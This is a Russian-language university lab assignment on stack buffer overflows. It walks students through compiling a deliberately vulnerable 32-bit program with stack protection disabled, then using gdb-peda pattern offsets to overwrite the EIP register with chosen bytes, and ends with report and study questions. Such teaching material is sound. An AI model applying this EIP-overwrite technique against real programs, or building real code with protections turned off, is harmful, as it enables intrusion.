Практическая часть

Подготовка

Для выполнения работы используйте любой удобный терминал bash(VM Linux, wsl2 и т.д.).

Я буду использовать wsl2 в Windows 10. Вот инструкция по установке wsl2:

https://learn.microsoft.com/ru-ru/windows/wsl/install

1) Установка отладчика gdb:

```
git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit
echo "DONE! debug your program with gdb and enjoy"
```

2) Установка gcc и multilib для возможности компиляции в x86-32:

```
sudo apt-get install gcc
sudo apt-get install gcc-multilib
```

Либо:

```
sudo dnf install gcc
sudo dnf install gcc-multilib
```

3) Скачайте по ссылке “https://github.com/yalv-s-m/buffer_overflow_lab” репозиторий с нужной программой (будет содержать файл insecure.c), и перейдите в ту папку, куда вы скачали или распаковали этот репозиторий.

4) Используя терминал, скомпилируйте файл insecure.c командой:

```
gcc -g -fno-stack-protector -m32 -o insecure insecure.c
```

В данной команде:

-g: включает отладочную информацию для собираемого файла.

-fno-stack-protector: отключает защиту стека, которая включена в современных компиляторах.

-m32: указывает, что скомпилированный файл должен быть 32-х битным. Это упростит анализ адресов памяти в будущем.

5) Запустите программы командой “./insecure”, и введите некоторое малое количество цифр (например 10), чтобы убедится, что компиляция прошла успешно:

```
murat@DESKTOP-4DDRUHO:bov_attempt2$ ./insecure
123456789987654321

[+] user supplied: 19-bytes!
[+] buffer content --> 123456789987654321
!murat@DESKTOP-4DDRUHO:bov_attempt2$
```

6) Теперь запустите программу снова, но только на этот раз введите строку длиной, значительно больше чем длина буфера, инициализированная в программе (для простоты создания длинных строк можно использовать python: print(“A” * 250)):

```
!murat@DESKTOP-4DDRUHO:bov_attempt2$ ./insecure
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] user supplied: 251-bytes!
Segmentation fault
murat@DESKTOP-4DDRUHO:bov_attempt2$
```

Как видим, возникла ошибка сегментации. Чтобы разобраться в ней лучше, воспользуемся дебаггером.

7) Запустите программу в режиме отладчика воспользовавшись командой:

gdb –q ./insecure

```
murat@DESKTOP-4DDRUHO:bov_attempt2$ gdb -q insecure

warning: ~/peda/peda.py >> ~/.gdbinit: No such file or directory
source /home/murat/peda/peda.pyReading symbols from insecure...
gdb-peda$
```

8)Чтобы запустить программу, в новой консоли “gdb-peda” пропишите “run”:

```
gdb-peda$ run
Starting program: /mnt/c/Users/Murat/Desktop/bov_attempt2/insecure
```

После чего снова введите длинную строку, вызывающую ошибку. В результате должна появится примерно такая картинка (следующий слайд):

```
gdb-peda$ run
Starting program: /mnt/c/Users/Murat/Desktop/bov_attempt2/insecure
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

[+] user supplied: 251-bytes!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x5655705c --> 0x0
ESI: 0xf7fb9000 --> 0x1e8d6c
EDI: 0xf7fb9000 --> 0x1e8d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcff0 ('A' <repeats 30 times>, "\n\377")
EIP: 0x41414141 ('AAAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41414141
[------------------------------------stack-------------------------------------]
0000| 0xffffcff0 ('A' <repeats 30 times>, "\n\377")
0004| 0xffffcff4 ('A' <repeats 26 times>, "\n\377")
0008| 0xffffcff8 ('A' <repeats 22 times>, "\n\377")
0012| 0xffffcffc ('A' <repeats 18 times>, "\n\377")
0016| 0xffffd000 ('A' <repeats 14 times>, "\n\377")
0020| 0xffffd004 ("AAAAAAAAAA\n\377")
0024| 0xffffd008 ("AAAAAA\n\377")
0028| 0xffffd00c --> 0xff0a4141
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414141 in ?? ()
gdb-peda$
```

9) На предыдущем слайде для нас наиболее интересны строки:

```
EIP: 0x41414141 ('AAAA')
```

```
[----------------------------------code-----------------------------------]
Invalid $PC address: 0x41414141
[----------------------------------stack----------------------------------]
```

```
Stopped reason: SIGSEGV
0x41414141 in ?? ()
```

т.к. все они упоминают одинаковый адрес памяти “0x41414141”.

Воспользуемся python3, чтобы перевести этот адрес в десятичную систему:

```
>>> bytes.fromhex("41414141")
b'AAAA'
>>>
```

Как видим, из-за переполнения буффера в ячейке памяти, на которую указывает регистр EIP (Extended Instruction Pointer), вместо корректного адреса памяти, оказалась часть нашей строки, которую мы ввели в программу.

Промежуточный вывод.

Как было показано, строки длиной 250 символов хватает, чтобы выполнить переполнение буффера длиной 200 символов, что приводит к SIGFAULT.

Однако пока мы еще не смогли перезаписать регистр определённым значением, поскольку мы не знаем, на какой конкретно длине входной строки происходит ошибка сегментации.

Для решения этой проблемы воспользуемся коммандой “pattern create 250”, доступной в установленном отладчике dbg-peda.

Эта команда создаст строку длиной 250 символов в определённым не повторяющимся паттерном, что позволит нам отследить, какие именно байты строки оказываются перезаписаны в регистр, а следовательно заменить эти байты на что-то, нужное нам.

10) Используем команду “pattern create 250 pattern.txt”, которая создаст строку длиной 250 символов, и запишет в файл pattern.txt:

```
gdb-peda$ pattern create 250 pattern.txt
Writing pattern of 250 chars to filename "pattern.txt"
gdb-peda$
```

Открыв файл pattern.txt, мы должны увидеть примерно следующее содержимое:

pattern.txt

```
1    AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAl
```

11) Теперь снова запустим программу, только на этот раз используя содержимое pattern.txt в качестве ввода. Используем команду:

run < pattern.txt

Будет примерно следующий результат:

```
gdb-peda$ run < pattern.txt
Starting program: /mnt/c/Users/Murat/Desktop/bov_attempt2/insecure < pattern.txt

[+] user supplied: 250-bytes!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41422541 ('A%BA')
ECX: 0x0
EDX: 0x5655705c --> 0x0
ESI: 0xf7fb9000 --> 0x1e8d6c
EDI: 0xf7fb9000 --> 0x1e8d6c
EBP: 0x25412425 ('%$A%')
ESP: 0xffffcff0 ("A%-A%(A%DA%;A%)A%EA%aA%0A%FA%b\377\377")
EIP: 0x4325416e ('nA%C')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x4325416e
[------------------------------------stack-------------------------------------]
0000| 0xffffcff0 ("A%-A%(A%DA%;A%)A%EA%aA%0A%FA%b\377\377")
0004| 0xffffcff4 ("%(A%DA%;A%)A%EA%aA%0A%FA%b\377\377")
0008| 0xffffcff8 ("DA%;A%)A%EA%aA%0A%FA%b\377\377")
0012| 0xffffcffc ("A%)A%EA%aA%0A%FA%b\377\377")
0016| 0xffffd000 ("%EA%aA%0A%FA%b\377\377")
0020| 0xffffd004 ("aA%0A%FA%b\377\377")
0024| 0xffffd008 ("A%FA%b\377\377")
0028| 0xffffd00c --> 0xffff6225 --> 0x0
[----------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x4325416e in ?? ()
```

В данном случае, адрес, на котором возникает ошибка сегментации, другой, а именно “0x4325416e”, что логично, ведь мы использовали другую строку при запуске программы.

12) Для того, чтобы узнать, на каком именно символе возникает ошибка сегментации, воспользуемся командой:

pattern offset <eip_value>,

В моём случае (у вас может быть иной адрес):

pattern offset 0x4325416e

```
gdb-peda$ pattern offset 0x4325416e
1126515054 found at offset: 216
gdb-peda$
```

Как видно, в моём случае ошибка возникает на 216 символе, а поскольку в регистре хранится ровно 4 байта, то чтобы успешно перезаписать значение этого регистра, нужно подать на вход программе строку длиной 216 + 4 символа, где последние 4 символа и будут являться тем значением, которое мы хотим поместить в регистр EIP за счёт переполнения буффера. **Для примера я буду использовать “BBBB”**. **Вам при выполнении работы нужно будет взять первые 4 буквы своей фамилии, например “YALV”.**

Чтобы создать такую строку, используем Python3:

```
>>> print("A"*216 + "BBBB")
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
>>> |
```

13) Повторяем знакомые шаги. Запускаем программу в отладчике:

gdb –q ./insecure

Запускаем программу:

run

В качестве ввода в программу вставляем строку нужной длины (в моём случае это 220 символов, с учётом тех четырёх символов, которые мы хотим поместить в регистр. На вашей системе это будет зависеть от результата команды “pattern offset <eip_value>”). В результате должна быть подобная картина (сл. слайд):

```
gdb-peda$ run
Starting program: /mnt/c/Users/Murat/Desktop/bov_attempt2/insecure
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

[+] user supplied: 221-bytes!

Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x41414141 ('AAAA')
ECX: 0x0
EDX: 0x5655705c --> 0x0
ESI: 0xf7fb9000 --> 0x1e8d6c
EDI: 0xf7fb9000 --> 0x1e8d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcff0 --> 0xf7fb900a --> 0x9010f7fe
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffcff0 --> 0xf7fb900a --> 0x9010f7fe
0004| 0xffffcff4 --> 0xf7fb9000 --> 0x1e8d6c
0008| 0xffffcff8 --> 0x0
0012| 0xffffcffc --> 0xf7deaed5 (<__libc_start_main+245>:       add    esp,0x10)
0016| 0xffffd000 --> 0x1
0020| 0xffffd004 --> 0xffffd094 --> 0xffffd1d1 ("/mnt/c/Users/Murat/Desktop/bov_attempt2/insecure")
0024| 0xffffd008 --> 0xffffd09c --> 0xffffd202 ("SHELL=/bin/bash")
0028| 0xffffd00c --> 0xffffd024 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
```

14) Как можно заметить, теперь в регистре EIP находится значение “0x42424242”.

Снова воспользуемся python3:

```
>>> bytes.fromhex("42424242")
b'BBBB'
>>>
```

В регистре, указывающем на следующую выполняемую инструкция теперь находятся те 4 символа, которые мы добавили к нашей длинной строке, а значит мы успешно смогли использовать уязвимость переполнения буффера.

Повторим предыдущие два шага, только вместо “BBBB” я использую “YALV”:

```
EIP: 0x564c4159 ('YALV')
```

Отметим ещё одну интересную вещь:

```
>>> bytes.fromhex("564c4159")
b'VLAY'
>>>
```

Можно заметить, что информация, скопированная из регистра EIP оказалось отзеркалена. В отчёте вам предлогается самостоятельно найти ответ на вопрос, почему так происходит.

Отчёт о работе.

В качестве отчёта необходимо повторить шаги 1 – 14. В качестве исходных данных:

Размер буфера buffer задаём значением 200 + порядковый номер по списку. (Например, если ваш номер: 6, то размер буффера будет 200 + 6 = 206).

При выполнении последнего эксплойта, в качестве значения, которое будет помещаться регистр, взять 4 первые буквы своей фамилии. (Например YALV вместо BBBB).

В отчёт необходимо включить скриншоты результатов, полученных на шагах:

4 (компиляция программы),

8 (запуск программы с длинной строкой в качестве ввода),

9 (значение регистра при первой SEGFAULT),

11 (значение регистра при получении второй SEGFAULT, при использовании паттерна длиной 250 символов в качестве ввода),

12 (результат выполнения pattern offset <eip_value>),

13 (значение регистра при получении третьей SEGFAULT, при использовании строки с добавленными четырьмя символами вашей фамилии в качестве ввода в программу),

14 (десятичное значение из регистра EIP при третьей SEGFAULT).

Вопросы:

1) Что такое «Буферизация данных»?

2) Что такое «Переполнение буфера»?

3) Объяснить, почему после выполнения последнего этапа практической работы в регистре EIP оказывается отзеркаленное значение, по сравнению с тем, которое было введено при переполнении бафера?